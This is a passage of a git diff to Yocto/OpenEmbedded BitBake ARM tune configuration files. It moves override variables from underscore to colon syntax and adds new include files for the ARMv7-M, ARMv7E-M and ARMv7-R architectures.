-TUNE_FEATURES_tune-armv7ahfb-vfpv3 = "${TUNE_FEATURES_tune-armv7ahf-vfpv3} bigendian"
-TUNE_FEATURES_tune-armv7athfb-vfpv3 = "${TUNE_FEATURES_tune-armv7athf-vfpv3} bigendian"
-TUNE_FEATURES_tune-armv7ahfb-vfpv4d16 = "${TUNE_FEATURES_tune-armv7ahf-vfpv4d16} bigendian"
-TUNE_FEATURES_tune-armv7athfb-vfpv4d16 = "${TUNE_FEATURES_tune-armv7athf-vfpv4d16} bigendian"
-TUNE_FEATURES_tune-armv7ahfb-neon = "${TUNE_FEATURES_tune-armv7ahf-neon} bigendian"
-TUNE_FEATURES_tune-armv7athfb-neon = "${TUNE_FEATURES_tune-armv7athf-neon} bigendian"
-TUNE_FEATURES_tune-armv7ahfb-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7ahf-neon-vfpv4} bigendian"
-TUNE_FEATURES_tune-armv7athfb-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7athf-neon-vfpv4} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahfb = "${PACKAGE_EXTRA_ARCHS_tune-armv6hfb} armv7ahfb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7athfb = "${PACKAGE_EXTRA_ARCHS_tune-armv6thfb} armv7ahfb-vfp armv7at2hfb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahfb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahfb} armv7ahfb-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7athfb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7athfb} armv7ahfb-vfpv3d16 armv7at2hfb-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahfb-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahfb-vfpv3d16} armv7ahfb-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7athfb-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7athfb-vfpv3d16} armv7ahfb-vfpv3 armv7at2hfb-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahfb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahfb} armv7ahfb-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7athfb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7athfb} armv7ahfb-vfpv4d16 armv7at2hfb-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahfb-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahfb} armv7ahfb-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7athfb-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7athfb} armv7ahfb-neon armv7at2hfb-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahfb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahfb-neon} armv7ahfb-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-armv7athfb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7athfb-neon} armv7ahfb-neon-vfpv4 armv7at2hfb-neon-vfpv4"
+ARMPKGARCH:tune-armv7ahfb ?= "armv7a"
+ARMPKGARCH:tune-armv7athfb ?= "armv7a"
+ARMPKGARCH:tune-armv7ahfb-vfpv3d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7athfb-vfpv3d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7ahfb-vfpv3 ?= "armv7a"
+ARMPKGARCH:tune-armv7athfb-vfpv3 ?= "armv7a"
+ARMPKGARCH:tune-armv7ahfb-vfpv4d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7athfb-vfpv4d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7ahfb-neon ?= "armv7a"
+ARMPKGARCH:tune-armv7athfb-neon ?= "armv7a"
+ARMPKGARCH:tune-armv7ahfb-neon-vfpv4 ?= "armv7a"
+ARMPKGARCH:tune-armv7athfb-neon-vfpv4 ?= "armv7a"
+TUNE_FEATURES:tune-armv7ahfb = "${TUNE_FEATURES:tune-armv7ahf} bigendian"
+TUNE_FEATURES:tune-armv7athfb = "${TUNE_FEATURES:tune-armv7athf} bigendian"
+TUNE_FEATURES:tune-armv7ahfb-vfpv3d16 = "${TUNE_FEATURES:tune-armv7ahf-vfpv3d16} bigendian"
+TUNE_FEATURES:tune-armv7athfb-vfpv3d16 = "${TUNE_FEATURES:tune-armv7athf-vfpv3d16} bigendian"
+TUNE_FEATURES:tune-armv7ahfb-vfpv3 = "${TUNE_FEATURES:tune-armv7ahf-vfpv3} bigendian"
+TUNE_FEATURES:tune-armv7athfb-vfpv3 = "${TUNE_FEATURES:tune-armv7athf-vfpv3} bigendian"
+TUNE_FEATURES:tune-armv7ahfb-vfpv4d16 = "${TUNE_FEATURES:tune-armv7ahf-vfpv4d16} bigendian"
+TUNE_FEATURES:tune-armv7athfb-vfpv4d16 = "${TUNE_FEATURES:tune-armv7athf-vfpv4d16} bigendian"
+TUNE_FEATURES:tune-armv7ahfb-neon = "${TUNE_FEATURES:tune-armv7ahf-neon} bigendian"
+TUNE_FEATURES:tune-armv7athfb-neon = "${TUNE_FEATURES:tune-armv7athf-neon} bigendian"
+TUNE_FEATURES:tune-armv7ahfb-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7ahf-neon-vfpv4} bigendian"
+TUNE_FEATURES:tune-armv7athfb-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7athf-neon-vfpv4} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahfb = "${PACKAGE_EXTRA_ARCHS:tune-armv6hfb} armv7ahfb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7athfb = "${PACKAGE_EXTRA_ARCHS:tune-armv6thfb} armv7ahfb-vfp armv7at2hfb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahfb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahfb} armv7ahfb-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7athfb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7athfb} armv7ahfb-vfpv3d16 armv7at2hfb-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahfb-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahfb-vfpv3d16} armv7ahfb-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7athfb-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7athfb-vfpv3d16} armv7ahfb-vfpv3 armv7at2hfb-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahfb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahfb} armv7ahfb-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7athfb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7athfb} armv7ahfb-vfpv4d16 armv7at2hfb-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahfb-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahfb} armv7ahfb-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7athfb-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7athfb} armv7ahfb-neon armv7at2hfb-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahfb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahfb-neon} armv7ahfb-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-armv7athfb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7athfb-neon} armv7ahfb-neon-vfpv4 armv7at2hfb-neon-vfpv4"
diff --git a/meta/conf/machine/include/arm/arch-armv7em.inc b/meta/conf/machine/include/arm/arch-armv7em.inc
new file mode 100644
index 0000000000..f7608ea2ee
--- /dev/null
+++ b/meta/conf/machine/include/arm/arch-armv7em.inc
@@ -0,0 +1,17 @@
+#
+# Defaults for ARMv7e-m
+#
+DEFAULTTUNE ?= "armv7em"
+
+TUNEVALID[armv7em] = "Enable instructions for ARMv7e-m"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv7em', ' -march=armv7e-m', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv7em', 'armv7em:', '', d)}"
+
+TUNECONFLICTS[armv7em] = "armv4 armv5 armv6 armv7a"
+
+require conf/machine/include/arm/arch-armv7m.inc
+
+AVAILTUNES += "armv7em"
+ARMPKGARCH:tune-armv7em = "armv7em"
+TUNE_FEATURES:tune-armv7em = "armv7em"
+PACKAGE_EXTRA_ARCHS:tune-armv7em = "armv7em"
diff --git a/meta/conf/machine/include/arm/arch-armv7m.inc b/meta/conf/machine/include/arm/arch-armv7m.inc
new file mode 100644
index 0000000000..2b69a3dfd1
--- /dev/null
+++ b/meta/conf/machine/include/arm/arch-armv7m.inc
@@ -0,0 +1,17 @@
+#
+# Defaults for ARMv7-m
+#
+DEFAULTTUNE ?= "armv7m"
+
+TUNEVALID[armv7m] = "Enable instructions for ARMv7-m"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv7m', ' -march=armv7-m', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv7m', 'armv7m:', '', d)}"
+
+TUNECONFLICTS[armv7m] = "armv4 armv5 armv6 armv7a"
+
+require conf/machine/include/arm/arch-armv6m.inc
+
+AVAILTUNES += "armv7m"
+ARMPKGARCH:tune-armv7m = "armv7m"
+TUNE_FEATURES:tune-armv7m = "armv7m"
+PACKAGE_EXTRA_ARCHS:tune-armv7m = "armv7m"
diff --git a/meta/conf/machine/include/arm/arch-armv7r.inc b/meta/conf/machine/include/arm/arch-armv7r.inc
new file mode 100644
index 0000000000..fac26cf4ad
--- /dev/null
+++ b/meta/conf/machine/include/arm/arch-armv7r.inc
@@ -0,0 +1,22 @@
+#
+# Defaults for ARMv7-r
+#
+DEFAULTTUNE ?= "armv7r"
+
+TUNEVALID[armv7r] = "Enable instructions for ARMv7-r"
+TUNE_CCARGS_MARCH = "${@bb.utils.contains('TUNE_FEATURES', 'armv7r', ' -march=armv7-r', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv7r', 'armv7r:', '', d)}"
+
+TUNECONFLICTS[armv7r] = "armv4 armv5 armv6 armv7a"
+
+require conf/machine/include/arm/arch-armv6.inc
+require conf/machine/include/arm/feature-arm-idiv.inc
+require conf/machine/include/arm/feature-arm-neon.inc
+
+AVAILTUNES += "armv7r armv7r-vfpv3d16"
+ARMPKGARCH:tune-armv7r = "armv7r"
+ARMPKGARCH:tune-armv7r-vfpv3d16 = "armv7r"
+TUNE_FEATURES:tune-armv7r = "armv7r"
+TUNE_FEATURES:tune-armv7r-vfpv3d16 = "${TUNE_FEATURES:tune-armv7r} vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7r = "armv7r"
+PACKAGE_EXTRA_ARCHS:tune-armv7r-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7r} tune-armv7r-fpv3d16"
diff --git a/meta/conf/machine/include/arm/arch-armv7ve.inc b/meta/conf/machine/include/arm/arch-armv7ve.inc
index fc172d0cb0..8102ae6085 100644
--- a/meta/conf/machine/include/arm/arch-armv7ve.inc
+++ b/meta/conf/machine/include/arm/arch-armv7ve.inc
@@ -2,163 +2,163 @@ DEFAULTTUNE ?= "armv7vethf"
TUNEVALID[armv7ve] = "Enable instructions for ARMv7ve"
TUNECONFLICTS[armv7ve] = "armv4 armv5 armv6 armv7 armv7a"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'armv7ve', ' -march=armv7ve', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv7ve', 'armv7ve:', '' ,d)}"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv7ve', ' -march=armv7ve', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv7ve', 'armv7ve:', '', d)}"
require conf/machine/include/arm/arch-armv7a.inc
# Little Endian base configs
AVAILTUNES += "armv7ve armv7vet armv7ve-vfpv3d16 armv7vet-vfpv3d16 armv7ve-vfpv3 armv7vet-vfpv3 armv7ve-vfpv4d16 armv7vet-vfpv4d16 armv7ve-neon armv7vet-neon armv7ve-neon-vfpv4 armv7vet-neon-vfpv4"
-ARMPKGARCH_tune-armv7ve ?= "armv7ve"
-ARMPKGARCH_tune-armv7vet ?= "armv7ve"
-ARMPKGARCH_tune-armv7ve-vfpv3d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vet-vfpv3d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7ve-vfpv3 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vet-vfpv3 ?= "armv7ve"
-ARMPKGARCH_tune-armv7ve-vfpv4d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vet-vfpv4d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7ve-neon ?= "armv7ve"
-ARMPKGARCH_tune-armv7vet-neon ?= "armv7ve"
-ARMPKGARCH_tune-armv7ve-neon-vfpv4 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vet-neon-vfpv4 ?= "armv7ve"
-TUNE_FEATURES_tune-armv7ve = "arm armv7ve vfp"
-TUNE_FEATURES_tune-armv7vet = "${TUNE_FEATURES_tune-armv7ve} thumb"
-TUNE_FEATURES_tune-armv7ve-vfpv3d16 = "${TUNE_FEATURES_tune-armv7ve} vfpv3d16"
-TUNE_FEATURES_tune-armv7vet-vfpv3d16 = "${TUNE_FEATURES_tune-armv7vet} vfpv3d16"
-TUNE_FEATURES_tune-armv7ve-vfpv3 = "${TUNE_FEATURES_tune-armv7ve-vfpv3d16} vfpv3"
-TUNE_FEATURES_tune-armv7vet-vfpv3 = "${TUNE_FEATURES_tune-armv7vet-vfpv3d16} vfpv3"
-TUNE_FEATURES_tune-armv7ve-vfpv4d16 = "${TUNE_FEATURES_tune-armv7ve} vfpv4d16"
-TUNE_FEATURES_tune-armv7vet-vfpv4d16 = "${TUNE_FEATURES_tune-armv7vet} vfpv4d16"
-TUNE_FEATURES_tune-armv7ve-neon = "${TUNE_FEATURES_tune-armv7ve} neon"
-TUNE_FEATURES_tune-armv7vet-neon = "${TUNE_FEATURES_tune-armv7vet} neon"
-TUNE_FEATURES_tune-armv7ve-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7ve-neon} vfpv4"
-TUNE_FEATURES_tune-armv7vet-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7vet-neon} vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-armv7ve = "${PACKAGE_EXTRA_ARCHS_tune-armv7a} armv7ve armv7ve-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7vet = "${PACKAGE_EXTRA_ARCHS_tune-armv7at} armv7ve armv7ve-vfp armv7vet2-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7ve-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve} armv7ve-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vet-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet} armv7ve-vfpv3d16 armv7vet2-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7ve-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve-vfpv3d16} armv7ve-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7vet-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet-vfpv3d16} armv7ve-vfpv3 armv7vet2-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7ve-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve} armv7ve-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vet-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet} armv7ve-vfpv4d16 armv7vet2-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7ve-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve} armv7ve-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7vet-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet} armv7ve-neon armv7vet2-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7ve-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve-neon} armv7ve-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-armv7vet-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet-neon} armv7ve-neon-vfpv4 armv7vet2-neon-vfpv4"
+ARMPKGARCH:tune-armv7ve ?= "armv7ve"
+ARMPKGARCH:tune-armv7vet ?= "armv7ve"
+ARMPKGARCH:tune-armv7ve-vfpv3d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vet-vfpv3d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7ve-vfpv3 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vet-vfpv3 ?= "armv7ve"
+ARMPKGARCH:tune-armv7ve-vfpv4d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vet-vfpv4d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7ve-neon ?= "armv7ve"
+ARMPKGARCH:tune-armv7vet-neon ?= "armv7ve"
+ARMPKGARCH:tune-armv7ve-neon-vfpv4 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vet-neon-vfpv4 ?= "armv7ve"
+TUNE_FEATURES:tune-armv7ve = "arm armv7ve vfp"
+TUNE_FEATURES:tune-armv7vet = "${TUNE_FEATURES:tune-armv7ve} thumb"
+TUNE_FEATURES:tune-armv7ve-vfpv3d16 = "${TUNE_FEATURES:tune-armv7ve} vfpv3d16"
+TUNE_FEATURES:tune-armv7vet-vfpv3d16 = "${TUNE_FEATURES:tune-armv7vet} vfpv3d16"
+TUNE_FEATURES:tune-armv7ve-vfpv3 = "${TUNE_FEATURES:tune-armv7ve-vfpv3d16} vfpv3"
+TUNE_FEATURES:tune-armv7vet-vfpv3 = "${TUNE_FEATURES:tune-armv7vet-vfpv3d16} vfpv3"
+TUNE_FEATURES:tune-armv7ve-vfpv4d16 = "${TUNE_FEATURES:tune-armv7ve} vfpv4d16"
+TUNE_FEATURES:tune-armv7vet-vfpv4d16 = "${TUNE_FEATURES:tune-armv7vet} vfpv4d16"
+TUNE_FEATURES:tune-armv7ve-neon = "${TUNE_FEATURES:tune-armv7ve} neon"
+TUNE_FEATURES:tune-armv7vet-neon = "${TUNE_FEATURES:tune-armv7vet} neon"
+TUNE_FEATURES:tune-armv7ve-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7ve-neon} vfpv4"
+TUNE_FEATURES:tune-armv7vet-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7vet-neon} vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-armv7ve = "${PACKAGE_EXTRA_ARCHS:tune-armv7a} armv7ve armv7ve-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7vet = "${PACKAGE_EXTRA_ARCHS:tune-armv7at} armv7ve armv7ve-vfp armv7vet2-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7ve-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve} armv7ve-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vet-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet} armv7ve-vfpv3d16 armv7vet2-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7ve-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve-vfpv3d16} armv7ve-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7vet-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet-vfpv3d16} armv7ve-vfpv3 armv7vet2-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7ve-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve} armv7ve-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vet-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet} armv7ve-vfpv4d16 armv7vet2-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7ve-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve} armv7ve-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7vet-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet} armv7ve-neon armv7vet2-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7ve-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve-neon} armv7ve-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-armv7vet-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet-neon} armv7ve-neon-vfpv4 armv7vet2-neon-vfpv4"
# HF Tunes
AVAILTUNES += "armv7vehf armv7vethf armv7vehf-vfpv3d16 armv7vethf-vfpv3d16 armv7vehf-vfpv3 armv7vethf-vfpv3 armv7vehf-vfpv4d16 armv7vethf-vfpv4d16 armv7vehf-neon armv7vethf-neon armv7vehf-neon-vfpv4 armv7vethf-neon-vfpv4"
-ARMPKGARCH_tune-armv7vehf ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethf ?= "armv7ve"
-ARMPKGARCH_tune-armv7vehf-vfpv3d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethf-vfpv3d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vehf-vfpv3 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethf-vfpv3 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vehf-vfpv4d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethf-vfpv4d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vehf-neon ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethf-neon ?= "armv7ve"
-ARMPKGARCH_tune-armv7vehf-neon-vfpv4 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethf-neon-vfpv4 ?= "armv7ve"
-TUNE_FEATURES_tune-armv7vehf = "${TUNE_FEATURES_tune-armv7ve} callconvention-hard"
-TUNE_FEATURES_tune-armv7vethf = "${TUNE_FEATURES_tune-armv7vet} callconvention-hard"
-TUNE_FEATURES_tune-armv7vehf-vfpv3d16 = "${TUNE_FEATURES_tune-armv7ve-vfpv3d16} callconvention-hard"
-TUNE_FEATURES_tune-armv7vethf-vfpv3d16 = "${TUNE_FEATURES_tune-armv7vet-vfpv3d16} callconvention-hard"
-TUNE_FEATURES_tune-armv7vehf-vfpv3 = "${TUNE_FEATURES_tune-armv7ve-vfpv3} callconvention-hard"
-TUNE_FEATURES_tune-armv7vethf-vfpv3 = "${TUNE_FEATURES_tune-armv7vet-vfpv3} callconvention-hard"
-TUNE_FEATURES_tune-armv7vehf-vfpv4d16 = "${TUNE_FEATURES_tune-armv7ve-vfpv4d16} callconvention-hard"
-TUNE_FEATURES_tune-armv7vethf-vfpv4d16 = "${TUNE_FEATURES_tune-armv7vet-vfpv4d16} callconvention-hard"
-TUNE_FEATURES_tune-armv7vehf-neon = "${TUNE_FEATURES_tune-armv7ve-neon} callconvention-hard"
-TUNE_FEATURES_tune-armv7vethf-neon = "${TUNE_FEATURES_tune-armv7vet-neon} callconvention-hard"
-TUNE_FEATURES_tune-armv7vehf-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7ve-neon-vfpv4} callconvention-hard"
-TUNE_FEATURES_tune-armv7vethf-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7vet-neon-vfpv4} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehf = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf} armv7vehf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethf = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf} armv7vehf-vfp armv7vet2hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehf-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf} armv7vehf-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethf-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf} armv7vehf-vfpv3d16 armv7vet2hf-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehf-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf-vfpv3d16} armv7vehf-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethf-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf-vfpv3d16} armv7vehf-vfpv3 armv7vet2hf-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehf-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf} armv7vehf-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethf-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf} armv7vehf-vfpv4d16 armv7vet2hf-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf} armv7vehf-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf} armv7vehf-neon armv7vet2hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf-neon} armv7vehf-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf-neon} armv7vehf-neon-vfpv4 armv7vet2hf-neon-vfpv4"
+ARMPKGARCH:tune-armv7vehf ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethf ?= "armv7ve"
+ARMPKGARCH:tune-armv7vehf-vfpv3d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethf-vfpv3d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vehf-vfpv3 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethf-vfpv3 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vehf-vfpv4d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethf-vfpv4d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vehf-neon ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethf-neon ?= "armv7ve"
+ARMPKGARCH:tune-armv7vehf-neon-vfpv4 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethf-neon-vfpv4 ?= "armv7ve"
+TUNE_FEATURES:tune-armv7vehf = "${TUNE_FEATURES:tune-armv7ve} callconvention-hard"
+TUNE_FEATURES:tune-armv7vethf = "${TUNE_FEATURES:tune-armv7vet} callconvention-hard"
+TUNE_FEATURES:tune-armv7vehf-vfpv3d16 = "${TUNE_FEATURES:tune-armv7ve-vfpv3d16} callconvention-hard"
+TUNE_FEATURES:tune-armv7vethf-vfpv3d16 = "${TUNE_FEATURES:tune-armv7vet-vfpv3d16} callconvention-hard"
+TUNE_FEATURES:tune-armv7vehf-vfpv3 = "${TUNE_FEATURES:tune-armv7ve-vfpv3} callconvention-hard"
+TUNE_FEATURES:tune-armv7vethf-vfpv3 = "${TUNE_FEATURES:tune-armv7vet-vfpv3} callconvention-hard"
+TUNE_FEATURES:tune-armv7vehf-vfpv4d16 = "${TUNE_FEATURES:tune-armv7ve-vfpv4d16} callconvention-hard"
+TUNE_FEATURES:tune-armv7vethf-vfpv4d16 = "${TUNE_FEATURES:tune-armv7vet-vfpv4d16} callconvention-hard"
+TUNE_FEATURES:tune-armv7vehf-neon = "${TUNE_FEATURES:tune-armv7ve-neon} callconvention-hard"
+TUNE_FEATURES:tune-armv7vethf-neon = "${TUNE_FEATURES:tune-armv7vet-neon} callconvention-hard"
+TUNE_FEATURES:tune-armv7vehf-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7ve-neon-vfpv4} callconvention-hard"
+TUNE_FEATURES:tune-armv7vethf-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7vet-neon-vfpv4} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehf = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf} armv7vehf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethf = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf} armv7vehf-vfp armv7vet2hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehf-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf} armv7vehf-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethf-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf} armv7vehf-vfpv3d16 armv7vet2hf-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehf-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf-vfpv3d16} armv7vehf-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethf-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf-vfpv3d16} armv7vehf-vfpv3 armv7vet2hf-vfpv3"
